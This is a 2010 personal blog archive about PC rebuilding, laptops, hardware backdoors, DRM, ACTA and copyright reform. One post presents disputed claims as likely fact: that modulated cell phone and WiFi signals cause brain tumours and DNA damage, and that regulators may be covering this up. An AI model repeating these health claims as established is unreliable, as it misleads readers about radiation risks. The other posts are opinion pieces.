This past week has been one of those "hardware" weeks. In fact the past month has been much of a hardware month. Failed hard drives, broken laptop and failing fans have meant nothing but a pain in the butt.

On the other hand sometimes it just feels like trying to make rock soup - only it's computer soup.

With rock soup, so the story goes, the wizened old lady, after coming to the small and poor town on the road to her destination, coerces the town's folk into contributing various items to "help flavor" her soup which she's making with boiled water and a large rock.

Of course the trick is that as each of the peasants adds just a little of their own to the common pot, the soup grows in taste and diversity and all benefit.

So too it is with a computer. You can start with just a case (the rock) and maybe a power supply (the hot water) and each item you add to the soup gives it something that adds to the whole in some way. Add just the right things and you can make a soup, er, computer of just the right consistency. I have my own version of peasants around the house - older systems that are no longer in use but have some potentially good parts if I just can get them into the same ~~soup pot~~ case.

I'm about to do this with Shirley's computer. It used to be my workstation and when I updated to my current AMD Quad-core it seemed fitting to upgrade her older machine by re-purposing my old one. It's a P4 with hyperthreading and 4 Gigs of RAM - and had 8 drives in it when I passed it to her. I've been using it as a backup host as well as her workstation - the backups are done in the early morning so she doesn't even notice.

Over the past 5 years it's suffered a bit and now needs some TLC - so I'm passing her a Core-2 that I've been using as a video capture and background render system for Cinelerra video editing. It had fan problems (the fans that come with the cases don't seem to last long) and Palimpsest was telling me that one of the drives was failing. Along the way I've updated the Linux to the latest Fedora Core 12 and added a couple of terabyte drives as a RAID 1

Now that she's happy with a dual monitor machine that is far faster than her old one, I need to create some computer soup out of her old one as I have a number of uses for it - but which one is best?

I could simply use it as a network storage system, but the case it is in, while large, is not really very good - in fact it's downright ugly and with its all 80mm fans it is noisy too. Ahhh but I have just the thing - a huge case with power supply currently full of a dead mother board and a bunch of small and old hard drives.

So... to my ~~rock and hot water~~ power supply and case I'll add a pinch of motherboard and a dash of CPU with just a smattering of RAM. To this I'll see if the downstairs workshop can find an extra IDE drive controller or two so I can use some 300 Gig drives I have sitting around - and by the time I'm finished I'll have a box with something close to 3 Terabytes in it and a CPU with enough horsepower and RAM that it too can act as a background render machine for the render farm.

Now I have to make some Compaq chowder - my laptop died. Fortunately Craig's list has found me an almost identical one. Swap a couple of parts and I'll have one really good one and be able to sell the rest for parts to someone else who can make their own soup out of them - and so on, and so on...

Tag: computer

Cell Phone, WiFi, WiMax, Bluetooth - Dangerous as Cigarettes? Looks Like It

Richard Pitt — Sun, 07 Feb 2010 10:12:37 -0800

I've been working in and around electronics and radio since I was a young kid - pre-teen. Because of that and quite a bit of education and practical experience with radio, TV, cell phones and all manner of antennas, measuring devices and such, as well as an excellent grounding in physics, I read this article with great interest. Its title, "Warning: Your Cell Phone May Be Hazardous to Your Health" mirrors lots of articles I've read in the past 20+ years, but this is the first one I've read that puts a bunch of different things into perspective in a way that makes me feel like moving far from the local cell tower and throwing away my cell phone and WiFi modem NOW!

I've pretty much agreed with the typical scientific article I've seen that the effects of microwave radiation on the human body would be mostly due to heating in the same fashion that meat heats in a microwave oven - and that such effects would be minimal due both to the relatively low power of the phones (especially recently, not so much in the first few years as the cells were larger and the radios had to be more powerful than they do today.)

"Distorting the public health literature is not a victimless crime. Workers who will be exposed to higher EMFs will face, according to Miller and Villeneuve, an up to tenfold greater cancer risk than if precautions were to be taken. Kheifets and Swanson's fraud is no different from that which helped suppress the cancer risks of cigarette smoke, asbestos and many, many chemicals. Yet these industry scientists continue to be welcomed at the highest levels as fair and balanced experts." (Junk Science - Microwave News)

Christopher Ketcham has dug around and interviewed some people who have found that the effects are not just heat - they are interference with the body's own electrical signals - to the point of researchers being able to stop a frog's heart with the correctly modulated cell phone wave.

It turns out that the basic carrier wave - the microwave signal that the phones transmit when there is nothing to say - is not the problem. The modulation of that carrier wave with something like voice or data - and especially data - is what causes the problem. A microwave oven does not modulate the radiation - it simply has a very powerful carrier wave - so it heats.

The cell phone - and your WiFi modem - and the more powerful WiMax data systems that are just being rolled out - are less powerful than the typical microwave (0.25 watts for typical cell phone vs 600 watts for typical microwave oven) but the modulation of the cell phone wave is what does the damage; and the damage is adding up to increased numbers of brain tumors in "power users" and increased "genotoxic" effects (changes in the bodies DNA) that trigger headaches and general feelings of listlessness as well as long-term lowering of overall health. One rural Swedish village's inhabitants suffered from headaches, difficulty breathing, blurred vision and even heart arrhythmias during a test of a WiMAX system in their area - effects that disappeared when the system was turned off.

The question is - has there been an orchestrated cover up of this information? Does it extend to the FCC (Federal Communications Commission) in the US and the DOT (Department of Transport) in Canada as well as their counterparts in other countries?

Researchers have been told not to publish their negative results. Maybe this has parallels to the tobacco industry's long-term cover up of the dangers of tobacco.

I don't know - but I'm going to do some digging. In the mean time I'm thinking strongly about putting my cell phone in a metal box when I'm not using it. Tin foil on the windows and walls? Not yet, but maybe. I'm a skeptic - I'm not one of the sheep.

richard

Cited Links

Tag: cell phone radiation wimax wifi

Selecting a New Laptop

Richard Pitt — Sat, 06 Feb 2010 09:18:56 -0800

My laptop died. It was the only Windows machine in the house - now I have to decide whether to replace it and if so, with what.

I purchased the Compaq V2000 back in 2007 to help me deal with some of my customers who still insist on using Windows. I've had a Toshiba laptop for a number of years and it still works, but the battery has died so it is no longer portable. It has run Linux since I purchased it and I never really missed Windows because I could run VMWare on it and run Windows inside a virtual machine if I really needed it.

The selection of laptops and other portable devices has grown so much in the past few years that I'm truly confused about what to purchase.

On the one hand I've found an almost direct replacement for mine on Craig's List - another V2000 that has a slightly faster chip and better graphics but would in all likelihood simply allow me to swap hard drives and boot as if it were still my old one - a great saving in time, which I begrudge spending on anything unnecessary these days. I categorize setting up a laptop as unnecessary because of all the cruft and crap the vendors put onto their retail system these days. Driving a stake through the heart of yet another bloated system's sell-ware and sniff-ware and Norton and Windows sampler and on and on... These take time - last time I did it that was several hours wasted before I could do anything useful.

The first thing to do is re-install the operating system after re-partitioning the hard drive. You see today's laptops come with huge drives - and anyone who is travelling by airplane today is best off not keeping much in the way of real data on their machine in case the border guards decide to look at it and keep it for a while. Nobody wants the pictures of that weekend away from the kids on their laptop going through border inspection.

Once Windows no longer takes up the whole drive I'll put Linux on it - probably Fedora Core 12 - the latest bleeding edge release from the Red Hat development tree. It runs well on most of today's hardware and has a lot of interesting features that work well with what I'm doing.

Then of course there is setting up all the various tools and such that I use as a matter of course - stuff that just doesn't come on Windows but has to be put there. Things like Open Office, CYGWIN (open source utilities that run on Windows) which includes X-windows and my various secure access tools.

And of course Skype, and my video suite and the tools I use for streaming video - all that takes time. All in all about a day's worth, just to get it back to the point where I feel it is useful.

Anyway - I went and saw the Craig's list one and bought it - swapped my old hard drive into it and it booted right up. Saved me a day at least, and probably about $500 as the one I'd picked as the replacement new machine was about $699 plus tax, which in itself says something. You see the original was about $1800 when it was new. The prices of laptops have come away down - and their basic capabilities have gone up. Faster CPUs, all 64 bit (the Turion in my V2000 is 64 bit but the Windows isn't - but when I finally put Linux on it that will make a difference) and almost all have 4 Gigs of RAM. The only drawback, one which would have added more time to getting things "right" was they all come with some form of Windows 7 and I'm not interested in having to upgrade my other Windoze software to match it - so I'd end up struggling with things until some sort of peaceful coexistence between open source and closed source came about - or I changed my ways and did things differently.

So... peace is once more - at least until this laptop dies

richard

Can You Trust Your Computer? How About Your Toothbrush? Maybe Not If It Was Made In China

Richard Pitt — Fri, 05 Feb 2010 09:11:47 -0800

How do you guard against someone smuggling a gun onto an aircraft? You run them through a device that shows everything down to their skin.

How do you guard against a company smuggling a security breach into your company through installing it when it is manufactured? That's the problem we're faced with. We've already been affected by digital picture frames that come with viruses pre-installed so what makes us think that we can escape other and better hidden programs being installed on hardware that is supplied to our governments and big business (and small business for that matter)?

There are stories of devices offered as gifts to businessmen at trade fairs being infected with backdoor and Trojan horse software - software that reports on what is in the computer these devices are plugged into by their unsuspecting recipients.

This is just another reason why I'm an Open Source software (and hardware) person as much as I can be. When I load something onto my computer I at least have a fighting chance at it being exactly what it purports to be because, although I personally may not have looked at that particular software, others like me have - and have not found anything wrong with it; anything hidden in it.

This is not to say that it is impossible to have something hidden so well that it just is never found - it's been done before, and by someone who was in a position of trust, Ken Thompson, one of the creators of the original Unix system.

What it really means is that you can't trust anything that you, yourself, didn't have a direct hand in creating from scratch, using only tools you crafted, from scratch. That's completely impossible today as it would put us back in the stone age as far as computers are concerned, however using and supporting the open source movement is at least one step up in the right direction since it harnesses the brains of an incredible number of brilliant and dedicated people who love taking things apart and figuring out how they work - or don't work in this case.

Try to get Microsoft to prove to you that there are no backdoors or other security holes in their products - you can't because Microsoft won't open up their code for you or anyone else to look at. Same thing with the Chinese and their hardware. The chips themselves can have security compromises in them that you can't find except by monitoring their actual performance.

We live in a world where we don't know who to trust or even whether we can trust our electronic toothbrush to not be a privacy invasive device.

hello paranoia - and reality

richard

Tag: trojan backdoor open source

I Want To Leave My Video/Music Library To My Kids

Richard Pitt — Thu, 04 Feb 2010 07:11:17 -0800

I have boxes of vinyl records, DVDs and CDs, and of course a library full of books - and my kids (now 25 and 26) like a lot of the music, video, books I like - why shouldn't I leave them my collection, and why shouldn't they be able to enjoy it as I have?

It seems that with my hard-copy things this will be so, but what about works I purchase in the future that don't have an existence in hardware that is useable without connecting it to the internet and thus to the vendors' key servers?

If I have a Kindle full of e-books and/or a iPad full of music and video and ebooks and programs, will they be able to transfer them to one of their similar units? How about to their new XYZ-Super-Pad? (not yet invented but watch for it next year)

Will they be able to transfer my rights fully to one of themselves? Transfer to only one, mind you - not both as thats making another copy. They'll have to figure out who gets what.

This question is something you and your heirs should be asking every single time you purchase something that has no physical presence in a hard, read-only object. Even read-only items such as games and DVDs are being subjected to scrutiny by the publishers on whether they can get into the act of the "secondary" market of used and swapped units.

The First Sale doctrine is being attacked. Do you really "own" what you think you do? Digital Rights Management systems in place and in the future may limit your rights under this doctrine - and there's nothing you can do about it but simply not play the game - don't purchase such rights-limited product.

Tag: first sale drm

Make ISPs Responsible For Copyrights and only Government will be your ISP

Richard Pitt — Wed, 03 Feb 2010 08:54:50 -0800

The latest leaked information about ACTA (Anti-counterfeiting Trade Agreement) points up the fact that making ISPs responsible for the illegal actions of their customers is still on the table.

Don't these bureaucrats understand that responsibility without authority is a lose-lose option - and giving ISPs the authority to do something about things that are illegal is opening up the world to judicial concepts that are at direct odds to our long-established rule of law.

No matter whether I or others think this is a direct attack by the publishing industry on the technological revolution, this is a direct attack on the free world's judicial system and rule of law.

Kind of makes me glad I'm a rational anarchist.

What part of making ISPs Common Carriers don't these guys understand? It's either that or the only entities who can take the responsibility and also deal with the judicial side is government - and that's going to go over really well with the private enterprise people.

World Summit on Information Society and 3 Strikes

Richard Pitt — Tue, 02 Feb 2010 00:01:29 -0800

OK - so a bunch of countries (including Canada) got together in 2005 and set out the Tunis Commitement wherein:

3. We reaffirm the universality, indivisibility, interdependence and interrelation of all human rights and fundamental freedoms, including the right to development, as enshrined in the Vienna Declaration. We also reaffirm that democracy, sustainable development, and respect for human rights and fundamental freedoms as well as good governance at all levels are interdependent and mutually reinforcing. We further resolve to strengthen respect for the rule of law in international as in national affairs.

4. We reaffirm paragraphs 4, 5 and 55 of the Geneva Declaration of Principles. We recognize that freedom of expression and the free flow of information, ideas, and knowledge, are essential for the Information Society and beneficial to development.

Geneva Declaration Principles

4. We reaffirm, as an essential foundation of the Information Society, and as outlined in Article 19 of the Universal Declaration of Human Rights, that everyone has the right to freedom of opinion and expression; that this right includes freedom to hold opinions without interference and to seek, receive and impart information and ideas through any media and regardless of frontiers. Communication is a fundamental social process, a basic human need and the foundation of all social organization. It is central to the Information Society. Everyone, everywhere should have the opportunity to participate and no one should be excluded from the benefits the Information Society offers.

Now IANAL (I am not a lawyer) - but how do you square the above with the concept of "3 strikes" and removal of an entire family's access to the internet in a completely non-judicial manner?

Paving the Digital Roads - Should Government be Responsible?

Richard Pitt — Mon, 01 Feb 2010 09:40:37 -0800

I'm going to broaden this "Digital Rights" topic from its original focus of Digital Rights Management to include human Digital Rights - the right of people any/everywhere to participate in the digital revolution in much the same manner that people can participate in the physical road systems of our planet.

There are a lot of parallels here - with one exception; the digital road system is evolving far faster than the physical road system ever did, so it is far more disruptive of the world's social and economic sphere than the evolution of the road system ever was with the possible exception of the expansion of the North American highway system after World War II at the expense of the railroads/streetcars (see the back-story to the cartoon film "Who Framed Roger Rabbit" as well as this article on the US Federal-Aid Highway Act (1954))

The point is that the digital highway is somewhat following the pattern of build-out of the road system in North America; first by the military, then by private enterprise, then local governments, then by the Federal government connecting all the dots in the national highway system.

In the 15+ years the internet has been a public facility (as opposed to the first few years prior to about 1992 when it was mostly military, research and education) private industry has expanded this "road" to a great extent, at least in and near the urban areas. The rural areas are not as well served and some local governments are stepping into the fray and doing the build-out themselves.

We're seeing a great amount of business/government rhetoric over who should ultimately be responsible for building out the digital infrastructure our increasingly digital world needs. The World Summit on the Information Society, held most recently in 2005 in Tunis, brings this most sharply into focus over the broad terms of mult-country concerns, with this paper from Harvard by Isabelle FALQUE-PIERROTIN summing it up fairly well.

The bottom line is that because the digital highway is so disruptive to so many aspects of our economy, simply having government take over building and fleshing it out to a similar extent that the road system has been done is not an option. There are too many hands in the old pies that will be completely disrupted if they don't get a chance to change their business model to include ownership of pieces of the digital infrastructure - or that have already done so and would be disruptively expensive to undo in favour of public/government ownership/control, at least in the developed countries.

So again, we end up with something that should be privately owned but regulated in some fashion. We can't just give private industry money and hope they build big pipes to every community on the planet, we have to put in place regulations of some sort that balances capital outlay with long-term profitability in somewhat the same fashion that the telephone companies were given in earlier times in North America.

The problem is that we need to do this world-wide.

At this point I'm not sure what is going to happen in this globalization of communication technologies, the revolution is not over yet. I'll do more thinking and research and writing over the next while - in the mean time, let me know what you think is going to happen over the next 1, 5, 15 years in this area and we'll have a go at prognostication.

CBC - Licensing YOUR Tax Dollars - The Nose of the Camel

Richard Pitt — Sun, 31 Jan 2010 09:33:39 -0800

Cameron McMaster has just posted an excellent in-depth article on how the CBC (yes, your taxpayer-funded national broadcaster) is now using an American company (iCopyright) to attempt to extort huge amounts of money from me and other web authors, bloggers and commentators for use of anything from their site.

Not only are they trying to double dip in this - they are trying to enforce American Copyright law on a Canadian regarding content created and published in Canada!

And we're not just talking pennies here either! They want a monthly fee of $250! (annual $500) just for one article!!!!

Even if you think you're going to post "part" of an article - they want you to pay as if you were posting the whole article - so "Fair Dealing" is no more (Fair Dealing allows abstract for commentary and reporting in Canada) as far as CBC is concerned.

The Nose of the Camel is not just poking into the tent of radical copyright changes - it's damned near all the way in the tent in this case.

Personally I think CBC should be removed from the public tit and made to stand on its own, especially if it is doing things like this.

OK - I think we should seriously consider boycotting CBC. I'll stop listening to Radio 2, watching Hockey Night in Canada and reading anything they have on their website.

I'll also send a note to my MP and tell them why.

How about you?

Not Just Picking on Amazon and MLB

Richard Pitt — Sat, 30 Jan 2010 12:17:24 -0800

Just in case you think I've been picking on Amazon and Major League Baseball recently in some of my articles about Digital Rights Management, here are some links to others who have taken money for their product and then turned it off.

Microsoft's MSN Music's "PlaysForSure" DRM key server - slated for turn-off in August of 2008, has been extended to "at least" the end of 2011 - no word on extensions
Yahoo! Music pulled their key server as of September 30, 2008
Wal-mart's digital music threatens to shut down their key server October 9, 2008 then relents
And of course - back to Amazon and the fact they can turn your Kindle off entirely - and you lose the books you've paid for - no refund this time.
Virgin Music (UK) closed their system down October 19, 2007

The one good thing about the Apple iPod, iPhone and new iPad is that the "Fairplay" DRM they use does not need to "phone home" for you to play the item, so if (heaven forbid) Apple ever went out of the music business you still get to keep your music - and you can burn it to CD unencumbered by DRM anyway. And of course, since January 6th last year, Apple now sells much of its music in straight MP3 flavour.

Cut Down Online Piracy - or Redefine It?

Richard Pitt — Fri, 29 Jan 2010 07:48:50 -0800

European Union Commissioner-designate for the Internal Market, Michel Barnier, has set a new EU priority policy goal: the 'eradication of online piracy' according to an article in IPTEGRITY.COM.

Along the way, via ACTA and other publisher-driven governmental initiatives, they'll forever change the nature of the internet and put such a damper on technology and creativity that I fear it will never recover. They'll make virtually everyone who does anything that might include a snippet of music or a view of a movie on a monitor in the background or almost any of a myriad of accidental inclusions of "protected content" into a criminal liable for non-judicial penalty by their ISP and civil penalties in the tens and hundreds of thousands of dollars (or Euros) plus complete loss of access to the internet; all for transgressions of less real importance than a druggy breaking into a home to steal your family heirlooms - and that druggy might get a small fine and/or a few days in jail.

The imbalance of what is proposed is literally incredible - in the sense of "not credible" in today's society.

There has to be a better way - and I'm here to propose it.

As I see it, the biggest problem we have is in the definition of "piracy" or "copyright violation" in the various current and proposed laws and regulations.

The internet is a relatively new phenomenon - almost non-existent when the WIPO treaty of 1996 was in negotiation and only really a couple of years old when it was signed. Since then it has changed half a dozen times in its focus and range - and continues to grow and change along with portable personal music and communications devices (MP3 players, cell phones and PDAs, etc.)

ACTA purports (in so far as we, the general public, can see into its secrecy) to update the WIPO concepts to address these changes - but as far as I can see it really only tries to put the genie back in the bottle. It does not give any thought to the concepts of changing traditional concepts of "Intellectual Property" in light of what is going on with communications technologies.

In the 15+ years since the internet really came into the public's eye, the publishers have trotted out various statistics that point out two major items:

Their overall sales and profits are down (10%/year at one point)
They're losing out on billion$/year in compensation for online copying

Let's look at both of these for a moment and put them into context of today's world. Then let's look at something that might bring some sanity to this market, a change in the definition of copyright and a re-balance of the law.

Overall sales are down

During the early 90's through early 2000's the music publishers in particular (the loudest of the publishers at the time) did several things that affected their sales regardless of whether there was "online piracy" or not:

they cut back on their new productions (take a look at the charts in George Ziemann's articles below)
They made deals with discount behemoths like Walmart
They put out music that was not to the liking of many of their previous customers (hip-hop and rap were King)

(thanks to George Ziemann for his excellent articles about this - a must read!)

Bottom line is their sales were remarkably good considering the amount of foot-shooting they were doing. Whether they did the self injury as part of their campaign to control the internet or for some other reason is moot. The fact is their business suffered every bit as much from self inflicted wounds as it might have from so called piracy. In fact there is a good case for the "private copying" being a reason they did as well as they did.

And of course if you look not just at the major publishers' figures, but those of the music industry as a whole including the indies and concert sales and all manner of income to the artist (the artists, not the publishers) the fact is the figures have gone up nicely, thank you.

They're losing Billions to piracy/private copying

According to the music publishing industry in particular and the media publishing industry in general, every single copy you make of a work, even if you purchased the original and only copy it in order to listen (watch) it on some other player, is a copy they should be compensated for. Every one!!!!

According to the copyright laws in various countries they may have a case, but that doesn't mean that the economy of the world should be completely upset. You see, the general public is just doing what it has done all along in most cases - doing what is legal if it is not done with digital technologies; they're "tasting" various works to see if they want to purchase one of their own. They're just doing it in a fashion that the law has not yet caught up with but which it should in the public's interest do - and make this "tasting" part of the public's side of the balance of copyright.

Prior to the digital revolution the public would learn of new works through several means: (we'll deal with music here but print/video are similar)

direct advertising (not much generally - mostly in music trade rags)
radio play - the publishers sent out samples and in fact paid for play (payola)
industry sales/play statistics and press releases (compiled from by radio play which could be influenced by payola)
listening booths at the record stores (note that the publishers wanted these banned)
word of mouth

So, aside from word of mouth and the listening booths which the publishers hated, the only ways were through industry-controlled or contrived means. In other words - the publishers were "king makers" and drove the market.

Fast forward to today and what do we have?

Word of Mouth has morphed from subjective "I love the new XYZ album, you will too" to the objective "here, listen to my copy of XYZ and see if you like it" through the ability to send a copy rather than just lend it. The listening booth has morphed from being in the record store to being in your own home.

All that "tasting" has been done with copies - copies that in many cases either are never listened to again after the first few seconds, representing the vast majority and directly replacing the other means of purchase decision prior to the internet, or copies that are listened to repeatedly and that in many cases lead to purchase, either of the exact work, or of similar works by the same artist.

The copies that are never again listened to are like the advertisements that people ignore - they're a cost of doing business and are offset by the copies that lead to sales.

Claiming the public owes the recording industry billions of dollars for all that copying is like a food manufacturer claiming that when Costco gives away a free sample to people in their store, those who accept the sample owe the manufacturer for it.

Not only that - where are those billions to come from? They have to come from the disposable income of the population, and currently they're being spent on cell phones, coffee, designer clothing (as opposed to cheap, utilitarian clothes), and maybe also on going to the movie theatre and purchasing tickets to rock concerts too. Assigning those billions to the music publishing industry is going to devastate the rest of the disposable income markets - think of that!

Reality is that no matter what, those billions simply will not be coming to the publishing industry. The public does not itself print money - it just decides where to spend what it has, and the music industry is only getting what it gets, no more.

Hey guys - it's a marketing cost - get over it!

The Human Factor

You see the fact is that aside from a fairly small number of rabid "mark on the wall" collectors (see "bell curve" below) most people who bring in a copy of a work do so to taste whether or not they like the artist and work well enough to support it by either buying their own copy or going to a concert or in some other way. The number of ways that customers support their chosen artists has grown beyond just purchasing their recordings, and through the publishers is not one of them.

More than that, the perceived value of a copy has fallen and fallen far. The recording industry financial model is now well known. The customers know how little the publishers pay their artists and also how little the actual cost of making a CD or DVD is - because they now have the means to do exactly that. The customer knows that the difference between the $0.80 the artist gets plus the $0.50 cost of the CD blank is only about 1/10th of what the average CD costs, so they know the publishers are the reason the music is so expensive - and some/many are making a conscious effort to cut them out, helped along by the likes of the RIAA suing music customers for unconscionable amounts and generally making the publishers into the bad guys.

People today are pressed for time. They work 2 jobs, commute long hours, and simply don't have the leisure time they once had. Anything that saves them time will be put into use - and sampling music works by copying them to their computer is exactly that.

People are also far better judges of when they're being ripped off. They have better information sources and a far more efficient means of gossip and interaction in social network sites like Facebook than they had with the back fence and local pool hall or bingo hall. They're informed. Give them a good reason to purchase your product and they'll do so - witness the resurgence of live concerts and the prices people will pay for a couple of hours of good entertainment.

But give them a reason to despise you, and they'll do anything they can to thwart you - like not purchasing anything that the RIAA has their hands in because they understand exactly what suing customers is all about.

Don't piss off your customers - they'll get you in the end, and nothing you can get installed as a law by your pocket-full of government officials will help in the long run.

The Bell Curve of Customer Honesty

OK - the music industry has a point that there are people who copy huge quantities of media. Given any statistically large "population" (the number of people in a statistical study) and the "normal" curve of response which is shown by what is called the "bell curve" - some fairly large actual numbers of people are out at either end of the range of actions that the study covers. In this case, the "study" would be the activity of copying and what is done if/when an un-paid copy is received of some work.

So a number of people copy just for the sake of being able to tell their friends they've "copied 10,000 songs" - and as far as I'm concerned the music industry can go after them. At the other end of the scale there are people who would never copy something or otherwise break a law.

But we all know that the rest of us, the general population, are actually pretty honest but we're also pragmatic - we'll bend the law or outright break it if our motives are reasonable in our own eyes - we're a bit anarchistic. Yes, we may copy songs from somewhere for a variety of reasons - but in general we purchase music (and videos too) and go to concerts and movie theaters and pay our way to enjoy the fruits of the artists we like; the artists WE like, not the ones the music/video industry continues to try to tell us we SHOULD like. We now have ways to decide that are a lot more efficient than the old ways - and we use those ways and should continue to be allowed to use them - and the media publishers should learn to live with this fact of life.

We purchase what we like - after we sample what is available. We've never truly been willing to listen to someone else who has a financial motive in telling us what we should purchase but in the past had little choice in the matter - now we have a choice and we don't want to lose it - and should NOT lose it as it is a defining item in our technological civilization today.

So how do we deal with this issue in law?

If we are telling our legislators that we believe the law is broken, what do we think the law should be? How can we again balance copyright between the artists and the public? Should we re-balance copyright? Should we abandon the concept altogether? Should it be replaced with some other "right"?

These are the questions we need to ask ourselves and discuss with each other and our legislators before they ram the industry's answer down our throats and stifle technological and human social evolution completely. The status quo is not the answer - and legislation to push back time is not either.

Again, note that I am not a lawyer (IANAL) so all I can do is propose generalities that need to be put into real legal parameters, but here goes.

First, here in Canada we can extend the definition of Fair Dealing's "private study" to include sampling digital products prior to decision to purchase. This is not an extremely difficult concept - it is actually almost part of the current law but sound recordings and film are specifically exempted. These exemptions should be modified to allow something like "sampling prior to purchase". Of course couching this in a way that makes keeping such a copy for any length of time is needed.

There also needs to be some method of determining where a copy can/should come from and/or what makes such a copy a "sample" rather than an item of piracy. I suggest that it is reasonable to require artists (and their publishers if they decide having one is worthwhile) to make available a lower quality or significant but incomplete "authorized tasting" version of a work, and that all other non-purchased copies be deemed illegal - and of course those who deal in otherwise unauthorized copies be dealt with accordingly. This is almost akin to copyright registration but in fact is not the same - there is no reason to create a bureaucracy to deal with this since the internet in general and the web in particular (along with the search engines) does a fantastic job of marking what is available and showing when and where it is available.

I also suggest that the act of "private copying" - media shifting from one player to another and from one generation of equipment/standards to another be deemed 100% legal in similar terms to that of right of first purchase. Here we deal not with "copyright" from the point of view of the customer, but "enjoyment right" - "I've purchased a legitimate copy of a work and should be allowed to enjoy it whenever/wherever I deem appropriate, by whatever means come to hand at any time from that point on, including the ability to transfer that right to another by gift, sale, inheritance, etc." (provided I destroy any/all copies I might have made in the time I owned the "enjoyment right")

Let me know if you come up with other ideas on how we might fix the problem - or if you find others who have already written about their ideas.

I'll keep on thinking - hopefully you and others will too. Simply reacting with a buggy-whip business preservation-at-all-costs solution is not an option.

richard

Oh Great! Another Locked-Down Device - iPad

Richard Pitt — Thu, 28 Jan 2010 00:01:10 -0800

Why I'll Likely Never Buy An iPad (or another iPhone)

Steve Jobs is to be commended for creating a business model that is making Apple investors ecstatic.

On the other hand there are some people, me included, who feel that Apple's hand-held products are just more of the same thing that Microsoft tried to foist off on us with Vista. The Apple products, through a more tightly focussed application niche, complete control over the hardware, and far better engineering have not had the negative press that Microsoft got for their buggy and slow Vista, but the there are far more similarities than differences.

The problem I have is that Steve Jobs has set Apple up as the sole dictator over what I can do with their handhelds. They dictate what software I can run, how hard I can stress the battery (no multi-tasking on the iPhone for example, even though there is no other reason for it not to be there) and what kinds of documents I can view and what I can do with those documents. In other words there is extremely tight Digital Rights Management on these systems.

We've already seen what can happen with such a system when Amazon removed paid-for books from the Kindles "owned" by their customers. That's like my favorite book store, White Dwarf, coming over to my home and removing a book I'd purchased from my library. I know White Dwarf would never consider doing this - so what makes Apple and Amazon and any/all other DRM-pushing publishers think they should be able to?

At some point in the future I might also like to exercise my (few) rights under the Canadian copyright act and abstract something from a work to do a news or critical item about it. Want to bet the DRM won't let me? You'll lose.

But more to the point I have many different music and video systems in my home and I want to ensure I can listen/watch those works I purchase whenever/wherever I want. I also do NOT want Apple, Amazon, or any other publisher to know when, where, for how long, or with whom I do such private viewing/listening.

OK - here in Canada I still sort of have the right to figure out if Apple is hiding something from me in the way of privacy-invasive software on their machine that I might purchase. I can, so far, reverse-engineer the software and look for problems that affect me. If/When Canada adopts any/all of the EU or ACTA style of anti-circumvention laws I won't be legally allowed to do this ON MY OWN, BOUGHT AND PAID FOR, HARDWARE. So much for any rights that come along with First Sale or similar law.

And down in the US and anywhere else with an anti-circumvention law you are not allowed to even look for such privacy invading back doors.

Nope - I'm not going to be one of Apple's customers. I'll wait for something similar with either Android or a true open-source OS like Linux on it. At minimum I'll wait until someone cracks the DRM like they've done for the Kindle and the iPhone. At least at that point I'll be able to do a backup and keep my purchased works, even if I sell the hardware (minus my videos/music/documents of course) to someone else.

Tag: drm amazon kindle ipad iphone tpm acta copyright

Facebook Anti-ACTA Groups - over 30 and Counting!

Richard Pitt — Wed, 27 Jan 2010 14:58:46 -0800

I've just done another search for ACTA on Facebook - over 30 so far and counting:

At this point I've joined one and now am one of the admins - I don't care if you join one or more - or which one you join at this point - but do make a decision for freedom.

If nothing else, join because your political hacks should not be negotiating anything this controversial in secret!!

Join David Ingram and me tonight to talk about copyright in general and ACTA in particular - 7PM (6PM show start) Pacific at www.david-ingram.com or right here on the Digital Rag.

richard

There may be more - over 500 hits on "ACTA" but many more were in languages other than English.

Kind of takes your breath away - I think we're on to something here

Tonight's Show - 6PM Pacific

Richard Pitt — Wed, 27 Jan 2010 13:29:52 -0800

Visit the Around the World site

Reprise of Globalism and the Internet

Last week's show archive failed, so what you'll see was edited from the low-res flash stream which results in poor video. We're going to do another session this week with our new facilities via Ustream.TV - and tighten up the show as well as add in some things that didn't get talked about last week and that have come up in the intervening week's news.

Tune in at 6PM Pacific tonight, Wednesday January 27th

Background and Other Reading/Watching

A Global Perspective on the Internet - Richard Pitt - 4 part series
The Statute of Anne and where copyright really began
Canadian Copyright Law - Michael Geist on ACTA
ACTA Lens site - mostly automated site that shows recent information on ACTA
Fair Use defined - Fair Use and DMCA-style copyright in Canada
Digital Rights Management and Privacy and more Privacy and broken software
Italian Licensing of internet Video Upload
ACTA Facebook group - one of two but this one is the more active - join us in telling governments and people about what is going on.
Latest Michel Geist post on DMCA - Transparency and ACTA Secrecy
Richard's Squidoo Lens on ACTA - a central repository for the automated gathering of items from around the web on this topic

Note that the following DO NOT APPLY in CANADA!!! We Don't Have Fair Use!!!

But if everyone falls into line with these practices we may be able to lean the judicial system into recognizing that this is common law and in effect do an end-run around the current copyright law. It has already worked for time-shifting.

"Free" - The Many Meanings to the Newspaper Business

Richard Pitt — Wed, 27 Jan 2010 08:53:47 -0800

The latest idea from the various newspapers that have been "forced" to go online with their publications is to put up what is called a "pay wall" where their news is hidden from general view behind a members-only for-pay membership.

The New York Times used to require that you registered before you could read their online edition - then they dropped that requirement, now they're thinking about putting up a pay wall.

You see, the newspapers are upset that Google and others are "stealing" their new, offering it up from within the search engine, and limiting their revenue by not paying for the privilege of doing the indexing and driving people to the paper's site. Rupert Murdoch, newspaper magnate, has threatened to block Google in particular and search engines in general - but anyone who really understands what the internet is evolving to, including of course Google's Eric Schmidt point out that the internet isn't going away, but the newspapers in their present form are - and nothing Rupert Murdoch or any other publisher can do will stop that. They can only hang on and change their ways to deal with the new delivery method and business model the internet represents.

OK - so Newsday's web presence, www.newsday.com, has had their pay wall up for the past 3 months now. How are they doing?

When the answer to a reporter's question about this was voiced, Terry Jimenez, Newsday's publisher nodded yes when asked, "I heard you say 35 people, is that number correct?"

Yup, apparently that's the number they got after their $4 million spent on re-doing their web site. Seems like a broken business model to me.

On the other hand, Google has sent something around 4 Billion clicks per month to the newspaper industry - for free! If the newspapers can't turn that tide of visitors into money that totals up to a lot more than $165/month each then they really do need to get out of the business.

So... a note to the publishers of the world - tell Google they can index your site freely and they'll freely send you all the visitors - and between the two of you, you should be able to turn free into a real business again.

Oh, by the way - rumor has it that Apple is about to help you by introducing a tablet computer that may be the forerunner of the item Google's David Drummond alludes to in his remarks to the World Association of Newspapers - now go out and make something of it!

In the mean time, David Ingram and I are ready and willing to take a stab at picking up some of their readers/viewers. Come on over tonight and sample it. We're always ready to learn from our audience - so chime in with some chat too.

richard

Changes In Talk Show Production

